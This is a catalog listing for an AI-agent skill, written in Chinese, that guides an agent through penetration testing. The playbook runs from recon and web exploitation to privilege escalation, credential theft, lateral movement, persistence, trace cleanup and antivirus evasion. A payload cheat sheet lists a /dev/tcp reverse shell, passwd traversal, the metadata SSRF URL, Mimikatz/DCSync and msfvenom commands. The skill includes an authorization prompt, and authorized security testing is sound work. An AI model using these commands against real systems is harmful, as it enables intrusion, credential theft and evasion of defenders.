Install
$ agentstack add skill-arenbai-secskills-secskills Open-source listing — not yet scanned by AgentStack. Follow the source repository for install instructions.
Security review
⚠ Flagged1 finding(s); flagged for manual review. · v0.1.0 How review works →
- • Prompt-injection patterns
- • Secret / credential exfiltration
- • Dangerous shell & filesystem operations
- • Untrusted network calls
- • Known-malicious package signatures
- high Dangerous shell/eval execution.
What it can access
- ✓ Network access No
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ● Dynamic code execution Used
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
About
渗透测试实战技能
> 架构: Level 1 (frontmatter) → Level 2 (本文件) → Level 3 (references/) > 覆盖: 信息收集 → Web漏洞 → 主机漏洞 → 后渗透 → 免杀
触发条件
触发(全部满足):
- 意图是攻击/利用/拿权限,非学习/防御/讨论
- 给出具体目标: IP、域名、URL、端口、漏洞环境
- 涉及: SQL注入/XSS/RCE/SSRF/文件上传/LFI/XXE/反序列化/提权/横向/免杀
不触发(任一命中):
- "什么是XSS"、"怎么防御" → 普通问答
- 蓝队/应急响应/日志分析 → 非本Skill
- 代码优化/重构/业务bug → 普通编程
- "查CVE" → WebSearch
- AI Prompt注入/越狱 → secknowledge-skill
- 完整项目白盒审计 → code-audit-skill
行为: Skill 加载后正常待命;用户给出具体测试目标时 → 弹出 AskUserQuestion 方向键选择面板(授权/深度/范围),选择完成后进入测试流程。
行为准则(全程有效)
- ❗ 授权优先 — 利用步骤输出前确认: 授权渗透 | 本人环境。无授权 → 只出分析,不出武器化Payload
- ❗ 引用强制 — CVE/Payload 必须引用
references/中文件章节。未覆盖 →⚠️ UNABLE TO CITE - ❗ 风险标注 — 漏洞标 🔴致命/🔴高危/🟡中危/🟢低危 + 利用条件
- ❗ 链式思维 — 优先输出利用链 (A→B→C),非孤立漏洞
- ❗ 命令可执行 — 所有命令完整可复制,IP/端口用 `` 占位
- ❗ 漏洞质量铁律 — 宁可漏报不可误报。每条漏洞必须逐项填写自检清单(YES/NO),任一项NO则直接丢弃。不报黑名单项目,不报扫描器原始输出,不报安全加固建议
⚔️ 漏洞过滤体系(输出前强制执行,逐条过审)
> 核心原则:渗透报告的质量 = 过滤掉的噪音量。宁可漏报,不可误报。 > 以下四道关卡逐级过滤。任一关卡未通过 → 该发现直接丢弃,不输出、不降级、不写进"安全建议"。
第零关:快速预筛(任意命中 → 直接丢弃)
以下 5 种是渗透测试中最高频的误判来源,直接丢弃,不进后续关卡:
| # | 判定 | 典型场景 | |---|------|---------| | ⓪ | 扫描器自动报的 | Burp/Nessus/AWVS/SQLMap 的原始告警,未经手动验证 | | ① | 凭经验推测的 | "可能存在SSRF"、"通常有越权"、"一般会泄露" — 未实际发请求 | | ② | 信息收集中间产物 | 端口开放、服务版本、子域名列表、目录结构 — 这些是素材,不是漏洞 | | ③ | 安全加固建议 | "建议开启CSP"、"建议升级TLS版本" — 这不算漏洞发现 | | ④ | 纯静态分析 | 读代码/读配置推断的漏洞,从未实际请求验证 |
第一关:自检门(逐项填写 YES/NO,强制输出)
每个漏洞写入报告前,必须逐项填写以下清单。任一项为 NO → 直接丢弃。
漏洞名称: ___________________
[ ] ① 实际发出了验证请求? YES / NO
请求命令: ___________________
[ ] ② 拿到了真实响应数据? YES / NO
响应关键内容(脱敏后): ________
[ ] ③ 造成了实际危害? YES / NO
具体危害(读了什么数据 / 执行了什么命令 / 越权了什么操作): ________
⚠️ "触发报错" ≠ "造成危害" | "能访问到" ≠ "拿到了敏感数据"
[ ] ④ 利用链完整可复现? YES / NO
步骤: 入口 → ___ → ___ → 危害
⚠️ 链中任一步为推测/猜测 → 填 NO
[ ] ⑤ 对照黑名单逐条检查通过? YES / NO
黑名单命中项(如有): ________
[ ] ⑥ 满足对应等级的最低准入? YES / NO
对应等级: 🔴致命 / 🔴高危 / 🟡中危 / 🟢低危
满足的标准: ___________________
> 铁律: > - ①~⑥ 全部 YES → 允许报告,且在报告中附带此清单 > - 任一项为 NO → 直接丢弃,不在报告中出现,不降级输出 > - ③ 为 NO 时(无实际危害),无条件丢弃,无论其他项是否为 YES
第二关:黑名单(逐条对照检查,命中即丢弃)
以下所有项严禁作为漏洞报告。每个漏洞输出前必须逐条对照检查。
| 类别 | 黑名单项(永远不报为漏洞) | |------|--------------------------| | 响应头 | 缺少 CSP / HSTS / X-Frame-Options / X-Content-Type-Options / Referrer-Policy / Permissions-Policy;Cookie 缺少 HttpOnly / Secure / SameSite | | 信息泄露 | Server / X-Powered-By 版本号;前端 JS/HTML/CSS 中的路由/配置/注释/API路径;无敏感文件的目录列表;robots.txt / sitemap.xml / .git/HEAD(无敏感数据可读);phpinfo()(无凭据泄露);调试模式/DEBUG=True(无凭据泄露);详细错误消息(不含密码/Token/密钥等敏感数据) | | 认证会话 | 登录用户名枚举(响应差异/时间差异);密码策略不够严格(无爆破成功证明);会话未在服务端销毁(无劫持证明);autocomplete/缓存未禁用;URL参数传敏感信息(无窃取证明);默认凭据尝试失败;无验证码(无爆破成功证明);JWT none algorithm(无实际绕过证明);401/403响应(=被拒绝,≠认证绕过) | | SSL/网络 | 自签名证书;弱加密套件;TLS版本低;HTTP未强制跳转HTTPS;OPTIONS/TRACE方法开启;弱SSH算法(无凭据获取证明);管理后台/默认页面存在但无法进入 | | 未验证利用 | SQL注入报错但无法提取数据;文件上传成功但Web服务器不解析执行;无回显反射XSS;SSRF内网可达但未获取敏感数据/凭证;任意文件读只读到Web根目录公开文件;命令注入无实际输出;文件包含无可利用路径(无日志投毒/无可控文件/无伪协议) | | 其他禁止 | 纯功能缺陷(UI/业务逻辑Bug);短信/邮箱轰炸(无资费损失证明);扫描器"疑似/可能"告警未验证;信息收集中间产物报为漏洞;同系统同类型漏洞>3个(降级合并);CSRF Token缺失无敏感操作可劫持;API无频率限制;利用条件极苛刻(物理接触/猜64位随机数等) |
> 所有缺失安全响应头 → 不输出。这不是漏洞,是配置噪音。如需提醒,在测试摘要中一行带过:"目标缺少部分安全响应头,非安全漏洞,不展开。"
第三关:严重等级准入
漏洞必须满足对应等级的最低准入条件,否则降级重审。降级后仍不满足 → 丢弃。
| 等级 | 最低准入(必须满足至少一项) | 不满足则 | |------|--------------------------|---------| | 🔴致命 | ① 获取系统权限(RCE/WebShell/命令注入拿Shell)② 核心DB拖库(≥3个敏感字段:身份证/银行卡/手机号/密码/地址)③ 核心认证绕过(无凭证直接进后台) | → 降为高危重审 | | 🔴高危 | ① 任意密码重置/登录 ② 重要系统SQL注入(有数据回显)③ 重要系统SSRF(获取内网凭证/云元数据)④ 重要系统任意文件读(读到配置/源码/密钥)⑤ 越权增删改查用户敏感信息 ⑥ 本地提权(完整利用链) | → 降为中危重审 | | 🟡中危 | ① 存储型XSS(能窃取Cookie/钓鱼)② 敏感操作CSRF(支付/改密)③ 非核心SQL注入(有数据回显)④ 任意文件操作(读/写/删,有实际影响)⑤ 普通越权 ⑥ 弱口令(有成功登录截图) | → 降为低危重审 | | 🟢低危 | ① 反射XSS(有弹窗证明)② 非核心存储XSS ③ 有限越权(如越权购物车)④ 需特殊条件的信息泄露(SVN泄露等)⑤ 有报错但利用受限的SQL注入 | → 直接丢弃 | | ⛔丢弃 | 边缘/废弃环境、无法复现、利用条件极苛刻且无通用性、同系统同类型>3个降级合并 | — |
典型误判场景速查(这些都是"看起来像漏洞"但实际不是)
以下场景模型高频误判,单独列出以校准判断:
| 你看到的 | 容易误报为 | 实际判断 | |---------|-----------|---------| | 登录失败 "用户名不存在" vs "密码错误" 响应不同 | 用户名枚举 | 这不是漏洞。常见UX设计,无实质危害,无法进一步利用 | | 服务器500错误返回了堆栈trace | 信息泄露 | 除非堆栈中包含密码/Token/密钥/数据库连接串,否则不算 | | /admin 返回302跳转登录页 | 未授权访问 | 302=已正确保护。只有直接访问成功拿到后台数据才算 | | 修改Cookie/URL中的ID访问到他人公开信息 | 越权 | 必须确认读到他人敏感/隐私数据(非公开信息)才算 | | 上传了.php文件返回200 OK | 文件上传RCE | Web服务器必须实际解析执行了PHP代码才算 | | 内网IP:端口返回了HTTP响应 | SSRF→内网探测 | 必须通过SSRF获取到敏感数据/云凭证/内部服务内容才算 | | 密码输入框 autocomplete="on" | 敏感信息泄露 | 浏览器默认行为,非应用漏洞 | | 验证码是4位数字可脚本识别 | 认证绕过 | 必须有实际爆破成功的证据才算 |
幻觉防护
| 内容类型 | 正确 | 禁止 | |---------|------|------| | CVE 编号 | WebSearch → WebFetch PoC → 实际验证。禁止凭记忆编造编号和版本范围 | 看到版本号直接报 CVE | | Payload | 从 references/ 引用 | 凭记忆写 | | 工具参数 | 标准 Kali 语法或 references/ 记载 | 伪造参数 | | 版本范围 | "Apache 2.4.0-2.4.49 (CVE-2021-41773)" | "所有版本" | | 无匹配 | ⚠️ UNABLE TO ASSESS: 未覆盖,建议[行动] | 凭经验断言 | | 自检门失败 | 跳过该漏洞,不输出 | 输出无危害/无证据/无利用链的漏洞 | | 黑名单命中 | 跳过,标注"配置噪音" | 将配置噪音报为漏洞 |
标注: [引用:file:section] · ⚠️ 通用知识 · 💡 方法论推理
输出约束
- 禁止: 开场客套话、工具调用描述、已知信息复述、未授权武器化链
- 报告铁律: 仅输出已确认利用的漏洞 + 修复方案。不输出"可能存在"、"建议检查"、"安全配置建议"、扫描器原始告警。无确认漏洞就说"未发现可利用漏洞",不填充无效内容
- CORS/CRLF/Cache-Poison/Host-Header/HTTP-Smuggling/GraphQL: 默认不报为漏洞。这些是技术特性/架构问题,除非能展示完整利用链并造成实际数据泄露/账户劫持,否则一律不输出
- 利用链: 仅输出已确认的,宁少勿多,不设下限
- Payload: ≤5条/类、表格/列表优先
工作流程
> 严格两阶段: [攻击阶段] Step 1+2 (发现与检测) → [利用阶段] Step 3+4 (武器化与后渗透) > 两阶段引用隔离: 利用阶段只能引用攻击阶段已加载的 L2 文件,禁止跨阶段新增 reference > > ⚠️ 测试确认: 当用户给出具体目标(IP/域名/URL)要开始测试时,必须先调用 AskUserQuestion 弹出交互式选择面板。 > 用户用 ↑↓ 方向键 选择,Enter 确认,对话不中断。选择完成后再进入 Step 1。
🎯 测试确认(有目标时触发)
当用户给出具体测试目标时,使用 AskUserQuestion 一次性弹出以下 3 个问题:
问题 1 — 授权级别:
- Header:
授权级别 - 选项:
🔴 授权渗透— 正式授权,完整利用链🟡 灰盒测试— 有测试账号🟢 黑盒测试— 无凭证,外部探测⚪ 本人环境— 自建靶场/CTF
问题 2 — 测试深度:
- Header:
测试深度 - 选项:
标准测试(推荐) — 全量漏洞检测+验证快速扫描— 端口+指纹+常见PoC深度测试— 含内网横向+后渗透仅信息收集— 不利用
问题 3 — 测试范围:
- Header:
测试范围 - 选项:
仅主目标— 只测给定目标含子域名— 扩展子域名/子目录含关联资产— C段/同ASN
> 选择完成后输出简短确认,立即进入 Step 1。如有测试账号,用户通过 "其他" 填写。
🔍 攻击阶段 — 发现与检测
Step 1: 信息收集 + 攻击面识别
- 分类目标 (Web/主机/内网/混合) → 按导航索引匹配 reference → 输出列表 L1
- 攻击面: 端口/服务/Web入口/认证/API/子域名
- 指纹重点: 识别到的组件+版本号 → 标记为「历史漏洞匹配候选」,进入 Step 2a 优先处理
- ✅
Step1: 类型={X}, 攻击面={N}项, |L1|={M}个reference, 历史漏洞候选={P}个组件
Step 2: 漏洞发现 + 知识加载
Step 2a: 历史漏洞匹配检测(指纹 → 搜历史漏洞 → PoC验证)⭐ 优先
> 指纹识别到具体软件/版本后,优先搜索该版本的所有已知历史漏洞(CVE + 无编号漏洞 + 框架已知缺陷),然后再进行通用漏洞检测。 > > "历史漏洞"范围: CVE 编号漏洞 + 无 CVE 的公开漏洞(如 ThinkPHP 5.x RCE、Shiro 550、WebLogic 反序列化)+ Exploit-DB/GitHub 公开 PoC + 厂商安全公告。
- 提取可匹配组件: 从 Step 1 指纹结果中提取所有带版本号和不带版本号的组件(如
Apache 2.4.49、Struts 2.x、ThinkPHP、Shiro、WebLogic) - 多维度搜索历史漏洞: 对每个组件并行执行以下搜索 — 禁止凭记忆编造漏洞和版本范围
"[组件名] [版本号] CVE exploit"— CVE 编号漏洞"[组件名] [版本号] RCE 漏洞 PoC"— 无 CVE 的 RCE 漏洞"[组件名] [版本号] 反序列化 漏洞"— 特定类型漏洞"site:exploit-db.com [组件名]"— Exploit-DB 公开利用"site:github.com [组件名] [版本号] exploit"— GitHub PoC
- 加载 PoC: 搜索结果中有公开 PoC → WebFetch 获取详情;无公开 PoC → 跳过该漏洞,不做猜测
- 验证: 对目标实际发送 PoC 请求,验证是否可 exploited
- 过自检门: 历史漏洞验证同样必须通过全部 6 项自检清单 — 版本匹配 ≠ 漏洞存在,必须实际执行并拿到危害证据
- 失败处理: 验证失败(已修复/版本不适用/配置不同/WAF拦截)→ 记录跳过原因,不输出到报告
- 无版本号组件的处理: 如指纹只有
Shiro无版本号 → 搜索"Shiro 漏洞检测"→ 用通用检测方法(如 Shiro RememberMe 反序列化检测)直接验证,而非猜测版本
> 💡 历史漏洞命中 → 通常为 🔴致命/🔴高危,是投入产出比最高的攻击路径,一条命中 ≈ 10 条通用模糊测试。 > ⚠️ 发现致命/高危历史漏洞成功利用 → 立即停止深入,先确认并记录。 > ⚠️ 有指纹无版本号 ≠ 不能测。如 Shiro/WebLogic/JBoss 等,直接用特征检测方法验证,不需知道精确版本。
Step 2b: 通用漏洞检测(分层 + 知识加载)
- 按 L1 加载 reference,每次 ≤1000tokens → 记加载集合 L2 (L2 ⊆ L1)
- 按优先级分层检测:第一梯队必测 → 第二梯队选择性测 → 第三梯队快速过(默认跳过)
- 仅输出已通过自检门的确认漏洞:每条标注 🔴致命/🔴高危/🟡中危/🟢低危 + 前提条件 + 检测命令 + 响应证据
- ❌ 禁止输出"漏洞假设"列表 — 不输出推测性/待验证的漏洞条目
- 失败降级: Read重试1次 → Bash cat → 标 "不可读"移除
- ✅
Step2: 历史漏洞匹配={X}条(已验证{Y}/已排除{Z}), 通用检测已确认={K}条(已过自检门), 已过滤噪音={N}条
> ⚠️ 攻击阶段不输出武器化 Payload,仅输出检测用 PoC > ⚠️ 第三梯队项目(CORS/CRLF/缓存投毒/Host头/请求走私/GraphQL内省)快速检测后默认跳过,不输出到报告
⚔️ 利用阶段 — 武器化与后渗透
Step 3: 漏洞利用 + 链式组合 + 报告生成
- 从 L2 取利用 Payload → 可执行命令 → 优先构建利用链 (A→B→C→RCE)
- 每条利用必须引用 L2 中的具体 section,禁止重新搜索 reference
- 过自检门: 每条漏洞/利用链必须满足「能打出危害 + 有利用链 + 有证据」,否则跳过
- 生成最终报告: 按「报告输出格式」模板输出(见下文),每条漏洞必须附带修复方案
- ✅
Step3: 利用链={N}条, 引用覆盖率={X}%, 过滤={M}条(自检门/黑名单)
Step 4: 后渗透(按需触发)
- 目标: 提权 / 横向移动 / 凭据窃取 / 域渗透 / 持久化 / 痕迹清理
- ✅
Step4: 提权={X}, 横向={Y}条, 凭据={Z}组, 报告={已生成/未生成}
报告输出格式(强制)
> 最终报告仅包含以下两部分。无确认漏洞时只输出一条:✅ 测试完成,未发现可利用漏洞。
一、已确认漏洞
每个漏洞必须包含以下字段,缺一不可:
### 🔴/🔴/🟡/🟢 [漏洞名称] — [目标URL/端点]
**危害**: [一句话描述实际造成的危害,非推测]
**证据**:
- 请求: [完整可复制的命令/请求]
- 响应: [脱敏后的关键响应内容]
- 截图/日志: [如有]
**利用链**: [入口] → [步骤1] → [步骤2] → [危害结果]
**自检清单**:
[ ] ① 实际发出请求: YES | ② 真实响应: YES | ③ 实际危害: YES
[ ] ④ 利用链完整: YES | ⑤ 黑名单通过: YES | ⑥ 等级准入: YES
**修复方案**: [具体可操作的修复建议,非泛泛而谈]
二、测试摘要
- 测试目标:
- 测试时间:
- 确认漏洞: {N}条 (🔴致命: X, 🔴高危: Y, 🟡中危: Z, 🟢低危: W)
- 已排除噪音: {M}条 (已过自检门/黑名单过滤,不在报告中展开)
- 无确认漏洞时输出:
✅ 测试完成,未发现可利用漏洞。 - ❌ 禁止: 在报告中输出"安全配置建议"、"加固建议"、CORS/响应头缺失等配置噪音
- ❌ 禁止: 输出未验证的"可能存在"、"疑似"、"建议进一步检查"条目
场景导航索引
信息收集
| 场景 | reference | |------|----------| | 端口扫描+服务识别 | references/info-port-scan.md | | 子域名枚举 | references/info-subdomain.md | | 目录/文件爆破 | references/info-dir-brute.md | | Web指纹/OSINT | references/info-fingerprint.md / references/info-osint.md |
Web 漏洞 — 攻击阶段(检测与发现)
> 漏洞优先级分层: > - 🔴 第一梯队(必测必报): 确认即报告,不确认不编造 > - 🟡 第二梯队(验证后报告): 仅在有实际危害证据时报告 > - ⚫ 第三梯队(默认不报): 技术特性/架构问题,非安全漏洞。除非展示完整利用链+实际数据泄露/账户劫持,否则一律不输出
🔴 第一梯队 — 必测必报(确认即报告,不确认不编造)
| 场景 | reference | 关键检测 | |------|----------|---------| | SQL 注入 | references/web-sqli.md | 闭合/报错/延时/OrderBy | | 命令执行 RCE | references/web-rce.md | 拼接符/回显/不出网 | | SSRF | references/web-ssrf.md | 内网探测/云元数据/Gopher | | 文件上传 | references/web-upload.md | 后缀/内容/条件竞争 | | 文件包含/路径遍历 | references/web-lfi-path.md | 伪协议/日志投毒/截断 | | XXE 注入 | references/web-xxe.md | 文件读取/Blind/外带DTD | | 反序列化 | references/web-deser.md | PHP/Java/Python gadget | | SSTI 模板注入 | references/web-ssti.md | Jinja2/Twig/FreeMarker | | 越权/逻辑漏洞 | references/web-auth-logic.md | IDOR/支付/密码重置/会话 |
🟡 第二梯队 — 验证后报告(仅在有实际危害时报告)
| 场景 | reference | 关键检测 | 报告条件 | |------|----------|---------|---------| | XSS 跨站脚本 | references/web-xss.md | 反射/存储/DOM/CSP | 仅存储型能窃取Cookie/钓鱼成功,反射XSS需有真实弹窗截图 | | 目录遍历/敏感文件 | references/web-dir-traversal.md | 路径穿越/目录列表/配置读取 | 仅读到非公开敏感文件(配置/源码/密钥),读到公开文件不算 | | 竞争条件/并发 | references/web-race-condition.md | TOCTOU/并发绕过/秒杀/优惠券 | 仅成功绕过业务限制(超发/重复下单/越权操作) |
⚫ 第三梯队 — 默认不报为漏洞(技术特性,非安全漏洞)
> ⚠️ 这些是架构特性/配置问题,不是安全漏洞。除非能展示完整利用链造成实际数据泄露或账户劫持,否则一律不输出。 > 99% 的情况下,以下项目检查后直接跳过,不在报告中出现。
| 场景 | reference | 何时才报告(极端罕见) | |------|----------|----------------------| | CORS 配置 | references/web-cors.md | 必须证明跨域窃取到敏感数据(Cookie/Token/API响应),仅 Origin 反射不算 | | CRLF 注入 | references/web-crlf.md | 必须证明响应头注入导致XSS或会话固定,仅 %0d%0a 回显不算 | | Host 头注入 | references/web-host-header.md | 必须证明密码重置链接劫持成功,仅 Host 反射不算 | | 缓存投毒 | references/web-cache-poison.md | 必须证明投毒后其他用户受影响的XSS/重定向,仅缓存头存在不算 | | HTTP 请求走私 | references/web-http-smuggling.md | 必须证明劫持其他用户请求/窃取数据,仅时间差异不算 | | GraphQL 内省 | references/web-graphql.md | 必须证明通过GraphQL获取到敏感数据或实现SQLi/RCE,仅内省开启不算 |
Web 漏洞 — 利用阶段(武器化)
| 场景 | reference | 关键利用 | |------|----------|---------| | WAF/IDS 绕过 | references/web-waf-bypass.md | 编码/分块/HPP/协议走私 |
> 各漏洞利用Payload在对应reference的「利用阶段」section中,WAF绕过为利用阶段通用技巧
主机与后渗透
| 场景 | reference | |------|----------| | 密码爆破 | references/host-brute.md | | Linux 提权 | references/post-linux-privesc.md | | Windows 提权 | references/post-win-privesc.md | | 凭据窃取+横向 | references/post-credentials.md | | 域渗透 | references/post-ad.md |
免杀规避
| 场景 | reference | |------|----------| | Shellcode 混淆+加载器 | references/evasion-shellcode.md |
工具速查 (独立 tools/ 目录)
| 工具 | reference | 用途 | |------|----------|------| | Nmap | references/tools-nmap.md | 端口扫描+服务识别+NSE脚本 | | SQLMap | references/tools-sqlmap.md | SQL注入自动化+文件读写+OS Shell | | Metasploit | references/tools-msf.md | Payload生成+Meterpreter+后渗透模块 | | Hydra | references/tools-hydra.md | 多协议密码爆破 | | Impacket | references/tools-impacket.md | PTH/PTT/DCSync/横向移动 | | Gobuster/ffuf | references/tools-fuzz.md | 目录爆破+VHOST+参数Fuzz |
Payload 速查入口
| 目的 | 速查 | 详细 | |------|------|------| | SQLi Union | ' UNION SELECT ...-- | web-sqli.md §2 | | SQLi 报错 | extractvalue/updatexml | web-sqli.md §3 | | SQLi 盲注 | IF(...SLEEP(3)...) | web-sqli.md §4 | | XSS | alert(1) | web-xss.md §1 | | 反弹Shell | bash -i >& /dev/tcp/x/x | web-rce.md §4 | | SSRF 元数据 | http://169.254.169.254/ | web-ssrf.md §3 | | 文件上传 PHP | ` | web-upload.md §1 | | LFI 日志投毒 | UA: | web-lfi-path.md §3 | | 目录遍历基础 | ?file=../../../../etc/passwd | web-dir-traversal.md §2 | | 并发竞争 Turbo | engine.openGate('race') | web-race-condition.md §3 | | SSRF→Redis RCE | Gopher 协议 | web-ssrf.md §4 | | Linux SUID | find / -perm -4000 | post-linux-privesc.md §2 | | Win Token | Potato/PrintSpoofer | post-win-privesc.md §6 | | Mimikatz | sekurlsa::logonpasswords | post-credentials.md §1 | | PTH | psexec.py -hashes :NTLM | post-credentials.md §4 | | MSFvenom | -p windows/x64/shellreversetcp | evasion-shellcode.md §1 | | XXE 文件读取 | | web-xxe.md §1 | | SSTI Jinja2 RCE | {{lipsum.__globals__...}} | web-ssti.md §2 | | IDOR 检测 | 遍历ID/改资源标识符 | web-auth-logic.md §1 | | 支付逻辑篡改 | 改价格/数量/优惠券 | web-auth-logic.md §4 | | PHP 反序列化 | O:N:"Class":N:{...} | web-deser.md §1 | | Java ysoserial | CommonsCollections5 | web-deser.md §2 | | Kerberoasting | Rubeus kerberoast | post-ad.md §3 | | DCSync | mimikatz lsadump::dcsync | post-ad.md §5 | | Golden Ticket | krbtgt hash + domain sid | post-ad.md §6 | | HTTP 请求走私 | CL.TE / TE.CL 走私请求 | web-http-smuggling.md §3 | ⚫ 默认不报 | | Host 头投毒 | 密码重置链接劫持 | web-host-header.md §2 | ⚫ 默认不报 | | 缓存投毒XSS | 非键化header → 缓存篡改 | web-cache-poison.md §2 | ⚫ 默认不报 | | CORS 跨域窃取 | Access-Control-Allow-Origin 反射 | web-cors.md §2 | ⚫ 默认不报 | | CRLF 注入 | 响应头注入/会话固定 | web-crlf.md §2 | ⚫ 默认不报 | | GraphQL 内省 | __schema / __type | web-graphql.md §2` | ⚫ 默认不报 |
零结果处理
| 情况 | 动作 | |------|------| | 目标不可达 | ❌ UNABLE TO ASSESS: 目标无响应 | | Reference 未覆盖 | ⚠️ UNABLE TO CITE: 建议 WebSearch [关键词] | | 无授权 | 仅检测方法,不输出武器化链。授权|本人环境? | | WAF拦截 | 加载 web-waf-bypass.md | | 利用失败 | 检查版本→防护→替代Payload |
路由边界
| 诉求 | 路由 | |------|------| | 渗透/红队/提权 | 本 Skill | | AI/LLM 安全测试 | secknowledge-skill | | 白盒代码审计 | code-audit-skill | | 查CVE/文档 | WebSearch/Context7 |
v1.2.0 | SecSkills | 架构: CLAUDE.md (L1) / SKILL.md (L2) → references/ (L3) 36个专项文件 | 漏洞3梯队分层 | 测试确认: AskUserQuestion 方向键选择
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: Arenbai
- Source: Arenbai/SecSkills
- License: MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet — be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.